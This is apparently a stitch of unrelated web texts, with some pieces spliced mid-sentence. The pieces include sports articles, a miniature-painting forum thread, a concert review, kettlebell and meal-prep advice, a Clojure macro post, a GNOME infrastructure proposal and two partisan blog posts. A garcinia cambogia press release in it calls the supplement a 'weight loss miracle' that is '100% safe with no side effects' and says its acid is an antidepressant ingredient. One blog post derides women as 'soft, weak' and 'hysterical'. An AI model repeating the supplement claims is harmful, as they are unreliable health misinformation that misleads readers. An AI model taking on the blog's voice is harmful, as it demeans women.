The prints and patterns used by Givenchy made this collection highly distinctive. The main elements included leather jackets, pencil skirts, sweaters with colorful embroidery and prints of Betty Page in front, hats with cat ears and funny glasses. An interesting combination of elements.
What do you think: is Paris Fashion Week worth drawing inspiration from? There were a lot of beautiful collections out there, we just focused on the ones with the most famous names. Do you have a favourite? Or are you going to adopt some of the tendencies set by Paris fashion week?Being a goaltender in the NHL isn’t easy. Having the most important position in hockey, there’s a lot of criticism if the team is struggling to achieve success. For the Chicago Blackhawks, a lot of blame is being put on goaltender Corey Crawford for the team’s mediocre 3-3-1 record.
Everyone knows the Blackhawks for being an elite team who never hangs around the.500 mark for long in a season. In fact, it’s quite uncharacteristic for them to be playing as poor as they are. But due to their atrocious penalty kill, they can’t seem to get over the hump.
While allowing a record setting 14 goals on 26 power play chances, the Hawks are being held behind early in the season. One of the biggest targets on who to blame is Crawford, who’s been ridiculed for the team’s disappointing start to the season.
With new defensive pieces being added into the roster this year, the Hawks have found it to be difficult to find solid defensive pairings to assist on the penalty kill. Gustav Forsling and Michal Kempny have both found themselves torn apart by the team’s inability to escape a penalty. It was obvious that they needed help, and Crawford has done all he could to protect his crease.
Crawford is sporting a 3.02 goals against average as well as a.897 save percentage with a 1-3-1 record. For a two-time Stanley Cup champion, that can seem gut wrenching. But could it be that it’s not Crawford’s play that’s deteriorating his stats?
The answer is yes.
Chicago Blackhawk’s Corey Crawford’s Success Suppressed By Poor Penalty Kill
While going against an opponent while 5v5, Crawford has only allowed three goals on 88 shots, carrying a.928 save percentage. Unfortunately, Crawford has been on the ice when 22 of the 26 penalties were taken and has let in 12 of the 14 goals in that time.
Last season, the Hawks penalty kill was ranked 22nd in the league with an 80.3% rating, but also ranked 3rd in penalties taken while being in the box for a grand total of 611 minutes. In fact, the team’s penalty kill hasn’t been good since the shortened lockout season in 2012-13, where they allowed a mere 18 goals on 141 opposing power plays.
Taking a step backwards and looking at the big picture, it’s obvious that Crawford’s success is being muffled by his teammates inefficiency to kill off a penalty, let alone stay out of the sin bin. It’s clear that the penalty situation in Chicago is destroying Crawford’s stats.
With the season still being young, there’s a lot of room, and time, for improvement. The fact of the matter is this: the problem isn’t in the goaltending or scoring, as both aspects are playing sufficient enough to gather points. The problem lies on the team’s penalty kill unit that has a chance to collect themselves and improve without having to make any major roster adjustments.
If the Hawks are able to fix their biggest ailment, there’s no doubt that they’ll be climbing up the standings. After all, they owe it to their goaltender who is hiding in the shadows.
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Subject: Crimson Fists Kill Team
TheEyeOfNight
Shrieking Traitor Sentinel Pilot
And optional EPIC PUNCHY FIST!
Just getting into Kill Team, and thought I'd take the chance to step away from Chaos for eight seconds and do some Crimson Fists models. First on the docket is a currently unnamed, battered and bloody but unbroken sergeant. Made from the Dark Vengeance Sergeant with magnetized wrists for weapon swaps.And optional EPIC PUNCHY FIST!
Subject: Re:Crimson Fists Kill Team
Ork_Intelligence
Ontario
Ontario Pewling Menial
Great job on the gore effect, looks crispy!
Subject: Re:Crimson Fists Kill Team
Kharne the Befriender
Working on it
Working on it Cackling Daemonic Dreadnought of Tzeentch
Fantastic model!
This message was edited 2 times. Last update was at 2016/12/06 00:26:44 Dahk'ash Dynasty ~4500pts
War Coven of the Coruscating Gaze ~2500pts
Vectorium of the Thrice-Plagued ~3000pts
Cult of the Stoneborn Serpent Dahk'ash Dynasty~4500ptsWar Coven of the Coruscating Gaze~2500ptsVectorium of the Thrice-Plagued~3000ptsCult of the Stoneborn Serpent
Subject: Crimson Fists Kill Team
Paradigm
[DCM]
UK
UK Legendary Master of the Chapter
Great to see more Crimsons, and this one is superb! Awesomely gritty and the injury on his eye looks brilliantly horrific, would you mind sharing how you got that effect?l
Paradigm's New Blog- 13/02: Theoden And Vecna
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Subject: Crimson Fists Kill Team
TheEyeOfNight
Shrieking Traitor Sentinel Pilot
Thanks guys, appreciate the feedback. The face injury was some Agrellan Earth (the crackle stuff), with some diluted Khorne Red and drybrushed with black. After that, I dabbed some Model Masters Transparent Red (they don't sell Tamiya here) in a few spots for the juicy gloss effect. Doesn't take a lot of time, really
Subject: Crimson Fists Kill Team
Elbows
Awesome Autarch
Love the work on the face/helmet, etc. Ruined for me by the all-too-popular "giant rock!" basing though. Nice work with the magnets.
Subject: Crimson Fists Kill Team
Soul Samurai
Muscat, Oman
Muscat, Oman Dakka Veteran
Nice! I love the narrative element you've added, with the wound and discarded helmet. Maybe just the photos, but I might have pushed the highlights up a bit brighter myself.
--Lord of the Sentinels Eternal--
Subject: Crimson Fists Kill Team
ColonelFazackerley
Oxfordshire, UK
Oxfordshire, UK Sneaky Striking Scorpion
I loved the wrecked helmet with corresponding wound.
I think the rock is too big.
Subject: Crimson Fists Kill Team
DalinCriid
Storm Trooper with Maglight
Are they all DA Sargent conversions?
Subject: Crimson Fists Kill Team
TheEyeOfNight
Shrieking Traitor Sentinel Pilot
DalinCriid wrote:
Are they all DA Sargent conversions? Are they allSargent conversions?
Just the Sergeant, the others are still WIP but built from the Kill Team boxed set Indeed, the big rock is a bit rocky. It was a nice basing change from the battlefield rubble paste I normally use, but I don't think I'd base anything more than a kill team with them.Just the Sergeant, the others are stillbut built from the Kill Team boxed set
Subject: Crimson Fists Kill Team
ShieldBrother
Possessed Khorne Marine Covered in Spikes
) on his leg and I would recommend painting the little gap bits in the armour black or metallic. Great model though! On the sarge you missed the purity seal (something I'm sure a chaos player isn't used to seeing) on his leg and I would recommend painting the little gap bits in the armour black or metallic. Great model though!
Never wake yourself at night, unless you are spying on your enemy or looking for a place to relieve yourself. - The Poetic Edda
2k
3k
100 Vostroyan Firstborn
1k
1.25 k Once again, we march to war, for Victory or Death!Never wake yourself at night, unless you are spying on your enemy or looking for a place to relieve yourself. - The Poetic Edda2k3k100 Vostroyan Firstborn1k1.25 k
Subject: Crimson Fists Kill Team
TheEyeOfNight
Shrieking Traitor Sentinel Pilot
Good catch, thanks, went back and got the purity seal. Stupid loyalists with all this purity hanging about
Subject: Crimson Fists Kill Team« Open Thread | Main | Scholastic Now Shilling for... Kim Jong-un and North Korea » College Student Banned From Class For Upsetting Students By Saying the "One in Five" Statistic Is Bunk This is college. You can't say things that are true here! It's He Said She Said. He ventured a (true) opinion, she said I'm telling on you and you are banned. The 19-year-old told BuzzFeed News that his professor, Pancho Savery, warned him repeatedly that his views made his classmates uncomfortable before he told him in a March 14 email that he was no longer welcome to participate in the "conference" section of his Humanities 110 lecture-seminar class. "Please know that this was a difficult decision for me to make and one that I have never made before; nevertheless, in light of the serious stress you have caused your classmates, I feel that I have no other choice," Savery wrote in the email, obtained by BuzzFeed News. [I]t was his questioning of the widely shared and often debated statistic that 1 in 5 women in college are sexually assaulted -- it doesnt serve "actual rape victims" to overinflate numbers, he said -- and his rejection of the term "rape culture" that led to him being banned, he said. I don't understand how this is even possible to dispute -- the one in five study defined unwanted kissing as rape. But True Things made some soft, weak women in need of protection by paternalistic hierarchies hysterical, so the very little ladies will be protected against actual intellectual engagement. Savery, who declined to comment to BuzzFeed News, wrote in his email to True that he had discussed whether to ban True from class with another professor before making his decision. "There are several survivors of sexual assault in our conference, and you have made them extremely uncomfortable with what they see as not only your undermining incidents of rape, but of also placing too much emphasis on men being unfairly charged with rape," Savery wrote to True. "The entire conference without exception, men as well as women, feel that your presence makes them uncomfortable enough that they would rather not be there if you are there, and they have said that things you have said in our conference have made them so upset that they have difficulty concentrating in other classes. I, as conference leader, have to do what is best for the well-being of the entire class, and I am therefore banning you from conference for the remainder of the semester." Devolution. Catch the fever.
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A theme that underscores a good portion of Interpol’s music — pre and post-Carlos Dengler — is the discordance that stems from at least the desire for human interaction. It made sense that the mixed crowd at the Met’s Temple of Dendur, an art go-to packed in upper-class Upper Manhattan, stood erect after minutes of socializing when Interpol finally took the stage to play the spacious and moody “Untitled”. The band of the moment was here and the audience had its small talk overtaken by a sense of trance and gloom.
Here’s what didn’t make sense: the dancing. Paul Banks, the singer of a band who wears the influences of the notorious Debbie Downers Joy Division on its sleeve, had his aching baritone fill the arena. Yet, there was a woman rolling solo, shaking her hips a few meters away from the bar. Turn on the Bright Lights-closer “Leif Erikson” played second and a twentysomething guy was sharply bobbing his head with a bit of bliss, a heavy juxtaposition next to the mawkish presence of touring bassist Brad Truax.
People don’t simply dance within a gray abyss, however. Like what Dengler demonstrated in his indelibly funky bass work on devastating TOTBL highlight “The New”, there’s a kaleidoscopic glimmer to be found within that hole. You didn’t need the changing monochromatic stage lighting to get that point across. Just take a look at the audience’s urgent response to the Halloween boogie of “Length of Love” amidst the purplish lights. Some people even mistook it for something from El Pintor — there were a number of deeper cuts (“The Lighthouse”, “Not Even Jail”).
Those thrilling glimmers were apparent throughout the show, too. We felt them when clusters of people broke into frenzy when “NARC” started blasting. And what of “All the Rage Back Home” — heater off Interpol’s latest album? It’s epic on record and thrice so with Daniel Kessler’s reverb blaring live. Plus, you should’ve seen 46-year-old Sam Fogarino on the drums. He was fucking feeling it. Some thrills don’t last, and that’s coincidentally been the problem with Interpol’s past two albums (especially their self-titled lowlight). You can hear that inane chatter before the show start to flare up once more as Interpol slid into “Same Town, New Story” and “Not Even Jail” near the end of the set.
In all, the show felt ephemeral, but great nonetheless. Interpol didn’t get a chance to finish their set with “PDA” (presumably time constraints), leaving “NYC” to be its final highlight. “I know you’ve supported me for a long time, but somehow I’m not impressed,” Banks sings. Well, that’s not true for both sides. But come on Banks. You know New Yorkers always want more.
Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman Photo by Robert Altman
Setlist:
Untitled
Leif Erikson
Length of Love
My Desire
Hands Away
Narc
Lights
All the Rage Back Home
Take You on a Cruise
The Lighthouse
Same Town, New Story
Not Even Jail
Say Hello to the Angels
Encore:
NYCThe 30th Summer Olympics will kick off with an appearance from 007.
After a special invitation from Queen Elizabeth II, James Bond star Daniel Craig reportedly filmed scenes this week at Buckingham Palace that will be used during the opening ceremony of the London Games. Craig and the ceremony's creative director, Danny Boyle, were given unprecedented access to the Queen's private quarters to shoot the scenes.
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The Sun reports that the Bond character will play a large role during the July 27 extravaganza. Details are sparse, but the fictional MI6 agent will receive orders from the Queen to open the Games and will parachute into Olympic Stadium by helicopter in the short film, which is being known as, "The Arrival."
"They wanted the most iconic British film character inside the building most associated with London and with the monarch – and they got it," a source told the British newspaper. "It will be a magical scene for all watching at home and inside the stadium on July 27."
If it was a coup for the Olympics to get James Bond and the Queen, it's an equal coup for MGM. Craig's newest Bond film, "Skyfall," is scheduled to be released Nov. 9. Having more than one billion people see the character at the opening ceremony won't be bad for marketing.
Other popular content on Yahoo! Sports:
• Baylor's Kim Mulkey battling Bell's palsy with plenty of attitude
• 49ers QB Alex Smith joins search for missing Bay Area teen
• The view from the worst seat in the SuperdomeI am a student of strength. As such, I can see benefits of many different styles of kettlebell use. I try to take the good components from each school or at least see the different purposes. I have certainly seen heated discussions about the different styles and sometimes I find it difficult to believe that a simple tool of strength can be used so differently. My goal here is to give an overview of the different styles by pointing out the differences (though, there are also many similarities).
A Little History
Kettlebells have been used for quite some time in Russia and the former Soviet Union. They were brought to the United States in the late 1990s. There is some dispute on whether Valery Federenko or Pavel Tsatsouline brought them to the U.S. (this dispute is one of the reasons for the contention between different styles).
However, Pavel is considered the person who popularized them in America. (Pictured left: Girevoy Sport Kettlebell; Right: Hardstyle kettlebell.)
Girevoy Sport Style
Valery Fedorenko is known for bringing the kettlebell sport style to the United States and is the founder of the World Kettlebell Club. However there are other notable kettlebell sport associations, such as Steve Cotter’s International Kettlebell & Fitness Federation and many others outside of the U.S.
The key feature of the sport style of kettlebell is that the focus is on power efficiency over a long period of time. Most events are ten minutes long and the participant is not allowed to put the kettlebell down.
Thus, the person is trying to conserve energy in the movements so that he or she can be efficient over time. In the below video, you can see how the athlete’s movement is fluid and how she is never out of breath over the allotted time period. (By the way, she is using a 22kg (48.5lb) kettlebell.)
Some other key features of this style of kettlebell use is that only one hand is on the kettlebell at a time (i.e. there are no two-handed swings). This explains the different handle design of the two kettlebells in the above photo. The thumb locks the index finger onto the kettlebell (almost like a hook grip), so that grip strength does not play as much of a role.
Another big difference is breathing. Breaths are taken efficiently and they flow with the movement. There is no pressurized breathing that accompanies other styles of lifting (It is more like this than this.)
Hardstyle
Hardstyle is a style popularized by Pavel Tsatsouline, who used this style to train Soviet and American military, police, and special forces. This style can be summarized by high intensity and few repetitions. Power optimization is the key rather than power conservation. Each rep should look just as powerful no matter if it is 12kg or 48kg.
This style focuses on a balance between high tension and relaxation. For example, in a kettlebell swing there is an explosive hip hinge and then relaxation as the kettlebell floats up. It is a ballistic exercise in that the kettlebell is launched with an explosive movement and then is guided into position (as opposed to a grind where tension is applied throughout the movement).
This style has historically taken components from the martial arts, and it relies on being able to switch quickly from being tight to being loose. Similar to a martial artist who quickly becomes tense when a punch is thrown. A punch is similar to a kettlebell swing as it is ballistic. A deadlift is a grind because tension is applied throughout the movement.
The concept can be compared to sprinting, where the sprinter becomes tense and loose repeatedly throughout the sprint. Sprinters who are tight do not run as well.
Breathing is one big difference between Hardstyle and Girevoy. In Hardstyle, the breath is used to bring more power to the movement. That is, the stomach is pressurized with air and the air is released in small amounts as the movement is conducted (almost as little grunts).
This style of breathing is different than what is done in endurance or power efficiency movements where the athlete is trying to use diaphragmatic breathing to keep the heart rate low. For example, someone doing an endurance event would use long, deep breaths to slow the heart rate.
A Note on RKC and StrongFirst
In late 2012, Pavel Tsatsouline left the Russian Kettlebell Challenge (RKC) to start a new endeavor, Strongfirst. There were probably plenty of reasons for this split, but as of now both of these groups remain relatively similar in their style of teaching (there are minor differences in standards, but in general most of the teaching are Pavel’s and they remain the same).
One of the reasons for the new organization is that Pavel’s teachings have always extended past kettlebells. In the late 1990s and early 2000s, he wrote articles that did not mention kettlebells at all. Most of my first exposure to his teachings were from popular bodybuilding magazines (e.g., the Smolov Squat routine).
Pavel’s style tends to be about being very strong for short durations of time. This type of training fits with what he has done for military and police units as most likely they need explosive strength rather than longer term efficiency in movements. (This division of power optimization versus power efficiency will be discussed further in an upcoming series of articles.)
CrossFit Modifications
Much of CrossFit’s use of the kettlebell comes from Hardstyle (Jeff Martone who leads CrossFit’s specialty training on kettlebells was one of Pavel’s first students). However, there have been some major modifications of the lifts that have been quite controversial.
One controversy is that the two-handed swing goes overhead rather than to shoulder height. As Andrew Read elegantly pointed out, there are many problems with mobility and the safety of this “American swing” movement. I have heard it compared to adding a shrug after a deadlift is completed. We can certainly add more movement to the lift, but why? (Wait, the sumo deadlift high pull is almost the same idea.)
Another point of view suggests that people start with the Hardstyle swing and eventually move to the CrossFit style of swing if mobility allows. The problem with this moderate approach is that the CrossFit standard describes being overhead as the end point of the movement. Thus, patience would have to be practiced by athletes in that they would not begin by doing the movement to the standards (even though they might be practicing a safer movement).
Another modification by CrossFit is the snatch. In Hardstyle and Girevoy Sport style, the kettlebell is not placed on the ground during the snatch until the competitor is done. Many CrossFit style competitions require the CrossFitter to set the kettlebell down on the ground between each rep (similar to the Olympic weightlifting snatch).
The kettlebell snatch should have more of a hip hinge, but setting it on the ground can lead to a more vertical motion (I have seen it described as a starting-a-lawn-mower in a straight up and down motion). This vertical movement might be more taxing (i.e., dangerous) on the shoulder. I have not seen as much discussion of this issue. However, watching competitors do this movement leads me to believe that much more discussion of kettlebell snatch technique could be used by the CrossFit community.
How to Decide on a Style
In general there are probably more similarities than differences between all the styles. Both the Girevoy (pictured to the right) and Hardstyle movements are probably relatively safe to perform and there are intensive certifications and courses for learning the movements.
Some have questioned the safety of the CrossFit American-style swing based on the mobility requirement of getting the arms overhead (at the top position, the hands are close together, which causes internal rotation of the shoulder joints and might lead to shoulder impingement in those lacking the required mobility).
Thus, from an anatomical discussion there might be safety issues with the CrossFit swing. However, there has not been a definitive research study showing this safety issue (and there might never be one).
The Hardstyle and Girevoy Sport styles both promote fitness in different ways. However, StrongFirst requires all instructors to be able to do 100 kettlebell snatches in five minutes and to do grinding movements such as get ups. Thus, there is a component of strength endurance as well.
To simplify the difference, Hardstyle promotes explosive, intense, and short duration exercises, while Girevoy Sport promotes power endurance movements that are efficient.
An analogy might be a 100-meter sprinter and an 800-meter runner. Each runner will utilize strength, explosiveness, and muscle efficiency, but in different ways. What works best for overall fitness, sport-specific physical preparedness, or military and first responders are questions that have not been answered.
Photo 1 courtesy of CrossFit Empirical.
Photo 2 courtesy of DragonDoor.
Photo 3 courtesy of CrossFit LA.
Photo 4 by Filippo Fantolini (Own work) [Public domain], via Wikimedia Commons.If you're working on gaining muscle or losing fat, doing some form of meal prep is non-negotiable—after all, abs are made in the kitchen. But it doesn't have to mean spending your whole Sunday slicing and dicing.
Get started with these five shortcut ideas that will get you in the habit of meal prepping with as little effort as humanly possible. Then, when you're ready to move on from basic chicken and sweet potatoes, these five great recipes from Kevin Alexander of FitMenCook will shake things up and keep you motivated to eat clean.
5 Meal-Prep Hacks You Can Do Every Week
1. Simplify Chicken
Even if you're grossed out by raw meat or just can't be bothered to cook, you should still be able to cook chicken. It's really not that mysterious—baby step into meal prep with this super-easy chicken technique.
Preheat your oven to 425 degrees Fahrenheit. Spray a skillet or baking dish with olive oil. Empty a package of boneless, skinless chicken thighs into the pan. If you want, spray the tops lightly with olive oil. Bake for 20 minutes. Congratulations, you just meal prepped.
As it is, this is basically the definition of "struggle chicken," or the flavorless protein that makes you give up your meal plan and go out for cheeseburgers. But you can use this as a base and add seasonings, sauces, and condiments to make it edible. (Minced garlic, even from a jar, goes a long way.) Having a basic, non-intimidating, go-to technique will mean you actually do it every week, and that's an important first step.
2. Instant Veggies
Stock up on precut stir-fry vegetable mixes, shredded carrots, and snow peas. These require zero prep and will cook in the microwave in 2 minutes. Stuff your meal containers with them for fiber and micronutrients.
One of the things that makes meal prep take a long time is weighing and measuring your portions. But with most non-starchy vegetables you can skip this step, since they add so few calories you can basically eat as many as you want. This makes calorie counting easier as well.
3. Formula Meals
Come up with one or two go-to meals with simple components that can be swapped out for endless variations. For instance, make ground meat with veggies and rice part of your repertoire.
You can alternate between beef, turkey, and bison. Try whatever veggies are in season, and experiment with seasonings. But every week at the store you know you need to pick up a package or two of ground meat, a few picks from the produce aisle, and a bag of rice. No list required.
4. No-Effort Potatoes
When you're making the "world's easiest chicken," throw a couple potatoes and sweet potatoes into the oven while it's hot. (Just remember to rinse them and prick with a fork so they don't explode!) They'll take a little longer to bake than the chicken (around 45 minutes), but you basically just got two of your macros done with the effort of one.
5. Prepackaged Everything
One area of nutrition where it's absolutely OK to cheat is meal prep. As long as a food is healthy and fits your macros, it doesn't matter if you prepped it yourself or someone did it for you. Prepacked individual servings of guacamole, hummus, nuts, and even hardboiled eggs are all fair game. Don't forget protein bars for a no-prep healthy snack.
5 Healthy Recipes That Make Meal Prep Easy
The "world's easiest chicken" can keep you out of the drive-thru, but let's be honest, there's only so much you can eat before you need a meal-prep makeover. What's going to keep you eating clean long term is a collection of truly delicious recipes that make you look forward to lunchtime. Here are five recipes from FitMenCook to get you started.
1. Southwest Stuffed Sweet Potatoes with Grilled Chicken Breast
This recipe features veggie-filled sweet-potato boats and several options for lean protein, making it a win-win for everyone. Whether you prefer to go the traditional route with chicken, or change things up with portobello mushrooms or tempeh, this meal's high complex carb and protein content are sure to meet your macros and win over your taste buds.
FitMenCook Southwest Stuffed Sweet Potatoes with Grilled Chicken Breast
Click Here For The Recipe!
2. Breakfast Omelet Roll-Ups
Who needs a burrito made of enriched white flour when you can use protein-rich eggs as the vehicle for your breakfast sandwich? Make your roll-ups a sit-down meal, or take your omelet to go with this protein-packed recipe.
Click Here For The Recipe!
3. Balsamic Chicken
Fact: Having #StruggleChicken is the leading cause of failed meal prep and inconsistent diets everywhere! Don't fall victim by playing it safe—you can only eat so many dry, flavorless chicken breasts before you start sprouting wings. Spice up your chicken-based meal prep with a few ingredients you probably have in your kitchen.
FitMenCook Balsamic Chicken
Click Here For The Recipe!
4. Lean Turkey Lasagna Meal Prep
If you're trying to stay lean so you can soak up the last few moments of summer sun, this meal will get you there. It'll keep you full while you show off your hard-earned beach body.
FitMenCook Lean Turkey Lasagna Meal Prep
Click Here For The Recipe!
5. Post-Workout Sweet Potato Brownies
Store-bought brownies might not fit your macros, but that doesn't mean the squares of gooey, chocolaty goodness have to be taken off the table completely. Try these zucchini and sweet-potato brownies instead!
Sweet potatoes are a nutritional powerhouse and, more specifically, a great source of vitamins A and C, which have antioxidant properties. The shredded zucchini gives you an extra serving of vegetables while adding moisture to the brownies and guaranteeing they'll come out bakery-worthy.
In addition to packing a flavor punch, these brownies provide a healthy mix of carbs and protein to kick off muscle recovery and growth.
FitmenCook Post-Workout Sweet Potato Brownies
Click Here For The Recipe!
For more meal prep ideas and daily recipe inspiration, join Team FitMenCook on YouTube, Instagram or Facebook!Perception for Nintendo Switch Teased With Image [UPDATED: Confirmed]
Natalie Barabash September 2, 2017 3:28:00 PM EST
Deep End Games Creative Director Bill Gardner teases Perception with image on Nintendo Switch.
Today, Deep End Games’ Creative Director Bill Gardner shared a teaser of Perception’s launch screen on a Switch. Gardner shared
|
Perhaps even from Altamira.
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The revised third quarter economic data contained some good news for President Obama and Democrats as thanks to Obamacare; healthcare costs have risen at their slowest rate since 1961.
Via The White House:
Prices of health care services have risen just 0.7 percent over the past four quarters, extending the recent period of exceptionally slow health care price inflation, while expanding coverage has driven faster growth in aggregate utilization of health care services. Prior to 2015, an increase in health care services prices as low as the 0.7 percent increase over the most recent four quarters had not been seen since 1961. Continuing an unusual pattern in recent years, the increase in the prices of health care services over the last year was only slightly above the overall increase in consumer prices. From 1960:Q1 through 2010:Q1, the inflation rate for health care services exceeded the inflation rate for all consumer goods and services by an average of 2.1 percentage points.
The continued slow increase in health care prices is a major reason that overall per-enrollee health care spending—the metric of health costs most relevant to individuals and families—continues to grow exceptionally slowly in both the public and private sectors. However, aggregate health care spending—reflecting aggregate utilization of health care services—has grown at an elevated rate in recent quarters. The 4.6 percent increase over the most recent four quarters remains well above the 1.9 percent average rate from 2010 to 2013. This recent acceleration appears to largely reflect increased access to care by the millions of people who have gained health insurance coverage under the Affordable Care Act since the end of 2013. Upward pressure on aggregate utilization growth from expanding coverage is neither a surprise nor a cause for concern and will be temporary, lasting only until coverage stabilizes at its new, higher level in the coming years.
Here is the decrease on a graph:
Republicans keep trying to sell the American people on the false notion that Obamacare is failing, but the numbers tell a different story. A failed healthcare policy can be seen on the graph during the Bush years.
The health and welfare of the hundreds of millions of Americans are on the line in 2016. Democrats are not only fighting for the tens of millions of Americans who have gained coverage. They are also fighting for the Americans who have benefitted from lower costs, better coverage, and a system that is focused on serving the consumer instead of cutting corners for the insurance companies.
This is a big win for President` Obama and the Democrats, but the success of the ACA is an even bigger win for the American people.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:New Orleans, LA, September 27, 2013 Numerous health experts have tried to dissect garcinia cambogia to gain insight into its weight loss capabilities. The pumpkin-shaped fruit known to help shed unwanted fat has recently been studied for its two-step weight loss effect.
It has been known that garcinia cambogia contains hydroxycitric acid (HCA), a component responsible for boosting metabolism and inhibiting fat production in the body. HCA apparently has a two-step weight loss benefit. The first step is appetite suppression thereby reducing the bodys intake of calories. The second step is preventing further fat production in the body.
The first step is directly related to garcinia cambogias effect on the bodys production of serotonin. Garcinia cambogia increases serotonin levels in the body. Serotonin is a neurotransmitter that affects mood. When serotonin levels are not high enough, a person can experience depression that leads to emotional eating thus resulting in weight gain. HCA boosts serotonin levels effectively and has been known to be an active ingredient in anti-depressant medications.
The second step is HCAs ability to stop citrate lyase, an enzyme that converts carbs or glucose into fat. The body has a natural process of converting extra carbs into fat. If the body is unable to burn off the extra carbs and sugar, the latter instantly get stored as fat. HCA prevents this by oxidizing carbohydrates for energy without storing it as fat thus resulting in weight loss.
Garcinia cambogia is truly a weight loss miracle. Its two-fold effect makes sense. It doesnt have any secret ingredients or any synthetic elements that might be harmful for consumers. Its 100% safe with no side effects, explains David Johnson, CEO of Natural Process.
Natural Process prides itself in offering healthy diet supplements such as Garcinia Cambogia Extract with 60% Pure HCA. Other natural supplements include Green Coffee Bean Extract and Raspberry Ketone Lean Plus. These products are readily available on their online store on Amazon.com with free shipping. Natural Process is offering a 20% discount with this link http://www.amazon.com/Garcinia-Cambogia-Extract-Pure-60/dp/B00CBWIYG2/ and coupon code (RKMCFHU2).
ABOUT NATURAL PROCESS
Natural Process is an online shop that provides an easy and affordable way to lose weight. With its wide array of all-natural supplements, Natural Process makes it easy to achieve weight loss goals naturally, along with a healthy lifestyleWithout any stupid “hello world”-posts I’ll present something relevant to my personal programming interests:
A pattern-matching macro for Clojure
Although there already is a macro available for that purpose (see here), that implementation has some limitations which i tried to surpass.
( defn categorize [thing] (match thing [a a a] ( str "three times the same thing: " a) [_ _] "a two element sequence" [_ _ _ _ _ & _] "a long sequence" [& _ :as s] ( str "some other sequence: " s) n :when ( number? n) ( str "a number: " n) { :person :type, :keys [age name]} ( str name \( age \)) o ( str "something else: " ( pr-str o))))
As you can see, this macro allows to match on sequential and associative structures and supports the same directives as the ones used to destructure binding forms.
What is different/ why another one?
Because the other macro uses the built-in destructuring, it tries to destructure values before checking if they can be destructured at all. Whereas this macro checks if the structure is of the expected type first and skips to the next clause if it is not. Futhermore it allows to destructure maps and deftypes and uses the (:keyword thing alt) syntax if possible, which means that it will benefit from optimisations for keyword lookup.
Additionally there is a (if-match <expr> pattern <then> <else>?) macro, which provides the same pattern matching functionality, but is limited to a single pattern only.
Drawbacks/Limitations
Because this macro is fail-fast the action expressions aren’t in tail position (there is no ‘break’ statement in clojure), so you cannot use the macro for concise recursive definitions.
github link:
http://github.com/astrangeguy/clj-pattern-match
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Like this: Like Loading...CLEVELAND -- Hue Jackson tapped his right hand on the side of the podium as he tried to find a way to describe being 0-12 in his first season as the Cleveland Browns' coach. As he spoke, his eyes started to well up and his voice broke ever so slightly.
"Being 0-12 is probably... the hardest thing ever," Jackson said after the team's 12th loss in 12 games, 27-13 to the New York Giants.
Jackson quickly composed himself, but this was the first real sign of emotion that the coach has shown in a long season. The more he spoke, the more it was evident that every loss is taking a piece out of him.
"It's been a long 12 weeks," Jackson said. Sunday's news conference started about 20 to 30 minutes late.
Jackson said he simply had a regular postgame assessment with management that went long, and he said he is not worried about his job.
"I'm going to be here," he said. But he also said he's going through something he's never experienced.
"I don't like losing," Jackson said. "I never have and never will. I've had my butt kicked up enough over my shoulders enough this season that I really don't need my butt kicked anymore."
The Browns are every bit of their record. Opponents have not scored fewer than 24 points in a game. The Browns have started three quarterbacks and had seven different players throw a pass. The past four games, the offense has scored 10, 7, 9 and 13 points.
Jackson would not second-guess his decision to gut the roster -- he called it a "reboot" -- and load it with rookies. When Sunday's game started, 18 of the team's 53 players were rookies.
"I'm not going to get into all that," Jackson said. "None of that matters right now. We have the team we have, and I'm just going to keep coaching the heck out of them."
As he has done all season, Jackson said the responsibility and blame is his. But he also said that given the roster and the events of the season, everything has to go perfectly for the Browns to win.
"And it's not going to be perfect," he said.
The players stand behind Jackson, saying he has maintained the same attitude with them all season.
"It is hard on everybody," quarterback Josh McCown said. "It is really frustrating because you see the effort put in every week and the way that everybody (is working) and the way that coach Jackson is leading the team and the energy that he brings, no matter what our record says."
A week ago, after the Browns' loss to the Steelers, Jackson spoke extra long in the locker room. On Sunday, Jackson spoke long with management.
"I think it's tough to be in the situation we're in because everybody wants an answer," he said. "It's this, it's that, it's exactly this. Well, I'm not going to give you an answer. What it is, is coach Jackson." When the season started, Jackson said the Browns would win "by hook or by crook."
It hasn't happened, but Jackson said he believes his players have not quit, and he believes this struggle will not last.
"I told our players, and I mean this and I'm going to tell all of you: This will be the last time, this year, that we ever feel the way we feel," he said. "I know that in my heart. I know that without question."
With a bye coming and games remaining against Cincinnati, at Buffalo, against San Diego and at Pittsburgh, Jackson said "there's four opportunities to win, there's another four opportunities to lose."
Battered and emotional as he is, Jackson still has not lost all of his bravado.
"You're going to get us, you better get us now," he said. "And I'm not feeling like this next year. There is no way."[Written on behalf of Alberto Ruiz, Carlos Soriano, Andrea Veri, Emmanuele Bassi and myself.]
Dear community,
Over the years, many of us have become increasingly frustrated about the state of our development infrastructure, Bugzilla in particular. Pretty much everyone we’ve spoken to doesn’t like it, and it’s not hard to see why: it is littered with usability issues, code review is a pain, and it is light-years behind more modern development platforms.
In the past, there haven’t been many other options, but we’re now in the fortunate position of having viable alternatives and the sysadmin resources to set one of them up and maintain it.
In recent months we have got together to examine the possibilities for GNOME’s development infrastructure. We’ve spent a lot of time on this, because we want the community to have faith in our conclusions. If you are interested in this, you can read our research on the wiki [1].
The outcome of this evaluation process is that we are recommending that GNOME sets up its own GitLab instance, as a replacement for Bugzilla and cgit.
We are confident that GitLab is a good choice for GNOME, and we can’t wait for GNOME to modernise our developer experience with it. It will provide us with vastly more effective tools, an easier landing for newcomers, and lots of opportunities to improve the way that we work. We're ready to start working on the migration.
Please bear in mind that this is just a recommendation! We are not claiming to have complete knowledge and we would like to hear questions and comments. At the same time, we do ask that members of the community approach this proposal with an open mind: please read the wiki pages and try to resist making assumptions about GitLab without familiarising yourself with it.Everyone already knows how dangerous Caracas is — most murderous capital in the world, and all that. But here’s a dirty little secret maybe you don’t know: young people in Caracas go out. We really do. Like, at night and everything.
It’s not that we’re not aware of the terrifying odds we take just to go out to a party. We’re hyper-aware of the risks. It’s just that we aren’t all ready to be hermits. So how do you square that circle? How do you keep some sort of social life going amid the carnage?
